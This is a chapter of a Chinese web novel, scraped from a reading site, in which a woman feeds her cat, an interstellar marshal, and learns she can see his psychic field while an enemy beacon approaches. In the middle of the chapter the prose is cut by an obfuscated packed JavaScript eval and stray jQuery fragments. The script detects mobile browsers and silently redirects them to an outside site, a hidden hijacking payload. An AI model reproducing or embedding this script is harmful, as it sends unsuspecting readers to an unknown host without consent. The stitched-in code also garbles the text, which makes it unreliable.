文趣网 > 其他小说 > 我的猫是星际元帅 > 11. 六小时后的罐头
    天刚亮的时候,阿瑞斯把一罐罐头放在了吧台上。

    银色铁罐,标签上印着某种条纹图案,边角贴了一张手写的标签纸,上面用蓝色笔写了一个“猫”字。

    他把罐头放下,退后两步,蹲回了角落。

    林溪靠着沙发睁眼的时候,怀里那只猫还在睡。尾巴缠着她手腕,两圈,没松。她的左腕内侧,那道金色纹路在晨光里微微亮着,随她的脉搏一下一下地闪。

    她低头看着那道纹路看了三秒,然后轻轻把手抽出来。

    尾巴在抽离的瞬间收紧了一圈,又慢慢松开了。

    墨渊的耳朵动了一下。没醒。

    林溪站起来,走到吧台边,看见那罐罐头。她拿起来翻了个面,没找到开罐器。

    “怎么开?”

    阿瑞斯从角落抬头:“用刀。”

    “刀在——”

    “厨房第二个抽屉。”阿瑞斯说完又低下头,面前的光屏上密密麻麻滚着一堆数据。

    林溪打开抽屉,抽出一把水果刀,把罐头盖子撬开。肉香涌出来。她低头闻了一下,和普通猫罐头差别不大。

    她端着罐头走回沙发边,蹲下来,把罐头放在地上,推到墨渊鼻子前面。

    墨渊的鼻翼动了一下。

    他的眼睛没睁开,但耳朵竖了起来。又过了两秒,他整只猫翻了个身,从侧躺变成伏卧,前爪撑地,尾巴从地上缓慢抬起来,头慢慢抬起来。

    他低头看着那罐肉。

    又抬头看了林溪一眼。

    “阿瑞斯旗舰上的?”他的声音比平时沙哑了一点,耗尽的余韵还在。

    “嗯。”

    “他还有多少?”

    “不知道,你问他。”

    墨渊转头看向角落里的阿瑞斯。阿瑞斯的光屏上数据还在滚。他头也不抬:“还有三箱。”

    墨渊的耳朵满意地抖了一下。

    他低头,咬了一口。

    林溪蹲在他旁边,没有起来,手肘撑在膝盖上,下巴搁在手臂上,就这么看着。

    墨渊嚼了五口,停下来,抬头看她。

    “……你看什么?”

    “看你吃。”

    “……”

    他又低头咬了一口。

    “罐头有什么好看的。”

    “你吃罐头好看。”

    墨渊的耳朵向后压了一下,尾巴在瓷砖上扫出一道弧线,没理她,继续吃。

    吃到第三口的时候,林溪开口了。

    “你的精神力恢复到多少了?”

    墨渊嚼的动作没停。但他含着肉含了半秒才咽下去。

    “昨晚到现在——恢复了一米左右。目前有效半径五米八。”

    “昨晚六小时前你还四米八。”

    “恢复速度比预估快。”墨渊说完,又低头咬了一口,“绑定的同步率上涨会加速精神力再生。”

    林溪看了一眼手机屏幕。金色弹窗上的同步率数字——15.8%。

    “一晚上涨了百分之零点五。”

    “嗯。”

    “按这个速度——多久能回到三十公里?”

    墨渊把最后一口肉咽下去,舔了一下嘴角。

    “日增长百分之零点三到零点五。按零点三算——到百分之百需要大约二百八十天。按零点五算——需要一百七十天。”

    “约等于半年。”

    “对。”

    林溪的手指在膝盖上叩了两下。

    “那泽维尔不会等半年。”

    “不会。”

    “他信标四号还在地表?”

    墨渊用前爪把罐头往旁边推了一下,蹲坐起来,尾巴盘在爪边。

    “信标四号。没有激活信号。找不到。”

    “那他一直没动静?”

    “没动静比有动静更麻烦。”墨渊的声音平了下来,“他在重新部署。”

    林溪站起来,走到窗边。

    晨光从巷口照进来,早餐摊的老板娘正在推出第一笼包子。上班的人骑着电动车从巷口穿过去,车铃声在巷子里拖出一串尾音。一切正常得和她第一天捡到猫的时候一样。

    “他上次用的是信标三号——公交车、快速抵达、自毁型。”她没转头,对着窗户玻璃上的倒影说,“下次换信标四号,他可能换别的载具。”

    “可能是车、可能是人、可能是——”

    “——快递箱。”林溪转头,看着角落里那三个还没扔的纸箱。“他上次就试过了一次。以他的习惯,不会重复同一套。”

    墨渊的耳朵微微动了一下。

    “你开始了解他了。”

    “我了解的是会下两次棋的人。”林溪走回吧台,把手机举起来,“他不会下同样的棋。所以下一次——他会比这一次更快、更隐蔽。”

    她低头看着手机上的金色弹窗。同步率下面那行小字——【恢复中·当前半径:五米八·距下一阈值:四米二】——旁边还有一行更小的字,淡灰色,之前没注意过。

    【感知增强:绑定双方精神力场重叠区域可触发局部可视性扩展。】

    林溪把那行字念了出来。

    墨渊的尾巴停住了。

    “……你说什么?”

    “你听不到吗?我说——”

    “不是。”墨渊从沙发上跳下来,走到她脚边,仰头看着她手机屏幕。“——你能看到那行字?”

    “你看到吗?”

    “我现在看不见。”

    “你什么时候开始看不见的?”

    “精神力耗尽之后。”墨渊顿了一下。“我的精神力阈值降到了零,手机上的金色弹窗暂时从我的感知区里消失了。只有你能看到。”

    林溪低头看着屏幕。

    金色弹窗还在。同步率还在。但那行灰字——确实在墨渊说“看不见”之后——比刚才更亮了一点。

    像是确认了这件事。

    它只对她亮。

    “这个‘局部可视性扩展’——什么意思?”

    墨渊沉默了两秒。

    “意思是——在特定条件下,绑定双方的感知区重叠时,你能看到精神力场本身的物理形态。”

    “……我能看见你的精神力?”

    “理论上是。”

    林溪低头看着自己的手。

    她没有特意做任何事。但她盯着自己指尖看的时候——那只手指尖上方,空气里有一层极其薄的金色涂层,像极淡的水彩颜料被稀释了十倍,在晨光里几乎不可见。

    “墨渊。”

    “嗯?”

    “我看见它了。”

    墨渊蹲在她脚边,抬头看着她抬起来的手。他什么也看不见——他只能看见她的手。

    但她看得见。

    那层金色的、极薄极薄的涂层,正在她指尖上方,随着她脉搏的节奏微微涨缩。

    “它现在在你手上。”他说。

    “嗯。”

    “你能控制它吗?”

    林溪盯着那层金色涂层,试着在心里做了一个“收拢”的动作。

    那层金色涂层——真的收了一点点。

    她指尖上的金丝从一根变成了一簇,缠绕在无名指根部,像一枚极细的戒指。

    “……我能。”她说。

    墨渊的尾巴贴在地面上,慢慢卷起来。

    “……那以后你负责看。”

    “嗯。”

    “——我负责打。”

    “嗯。”

    他说完这句话,转身跳上了窗台。

    巷子里的阳光已经彻底亮起来了。早餐摊的包子香飘进来,夹着电动车铃声和远处菜市场的人声。

    墨渊蹲在窗台上,尾巴搭在窗沿外侧,在风里轻轻晃了一下。

    他的尾尖对着巷子口的方向——正对着那条十字路口。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883693|212496||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    昨晚弹头降落的地方。

    现在那里只有一个普通的、干净的水泥十字路口。

    他看了三秒,转身跳下来。

    “阿瑞斯,信标四号的扫描范围扩大到地面以下五米,所有下水管道全部扫一遍。”

    阿瑞斯从光屏后面抬起脸:“——五米?”

    “泽维尔的备用信标如果装了移动载体,会优先走地下管道。”

    阿瑞斯站起来,推门出去了。

    咖啡厅里安静下来。

    林溪靠在吧台边,墨渊蹲在吧台上。

    她低头看着自己手指上那枚极细的金色戒指——还在。稳定地亮着。

    “它不消失?”她问。

    “不消失。它已经是永久性锚点的延伸了。”

    “那它会一直在我手上?”

    “……嗯。”

    “看起来像戴了个戒指。”林溪转了转那根手指,“还挺好看。”

    墨渊的尾巴在吧台上扫了一下。

    “你应该戴左手无名指上。”他说。

    林溪的手停住了。

    她低头看着他。

    墨渊已经把脸转过去了,正面对着窗外,整个后脑勺对着她。但尾巴尖在她视线边缘微微翘着,又压下去,又翘了一下。

    “……为什么?”她问。

    他沉默了三秒。

    “……因为左手无名指的精神力传导效率最高。”

    “哦。”

    她低头,把那道金线从无名指根部移到了左手无名指上。

    金线自动贴合,像被磁铁吸住一样,稳稳地环住那一圈皮肤,隐隐发亮。

    “好了。”她说。

    墨渊没有回头。

    但他的尾巴尖——在窗沿上,轻轻磕了三下。

    咚。咚。咚。

    像某种被压住的心跳。

    然后他的耳朵尖,在晨光里,微微泛了一层淡金。

    林溪看见了。

    她没说话。

    她低头看着自己左手无名指上那道金线戒指,在晨光里微微亮着。

    门外,阿瑞斯的声音传进来:

    “——找到了一条。东南方向,三公里外,下水道入口处有信号残留。非激活状态。但轨迹方向——正在朝这条街移动。”

    林溪抬头。

    墨渊从窗台上转过身来。

    “速度?”

    “每小时大约五百米。”

    “到达时间?”

    “——不到七个小时。”

    林溪看了一眼手机。

    同步率:15.9%。

    六小时零十七分钟。

    她低头看了看手指上的金线戒指。

    又看了墨渊一眼。

    他也正看着她。

    “七个小时,”她说,“够再吃一罐罐头。”

    墨渊的尾巴尖在她手腕上扫了一下。

    “……要两罐。”

    林溪笑了。

    她把手机扣在吧台上。

    阳光从窗外照进来,照在两个人之间那道谁也看不见的金色通道上。

    那通道正在变得越来越宽。

    越来越亮。

    一枚戒指环在那里。

    一个尾巴尖搭在那里。

    窗外,东南方向的下水道里,一个暗红色的小点正在缓缓移动。

    速度不快。但方向很稳。

    朝着第五条巷口。

    朝着咖啡厅。

    朝着他们。

    七个小时。

    罐头的铁皮在晨光里反了一下光。

    哐。

    轻得几乎听不见。

    但墨渊的耳朵,极轻地——朝那个方向转了一度。

    然后他低头继续吃罐头。

    没抬头。

    尾巴贴着她的手背。

    从头到尾,没离开过。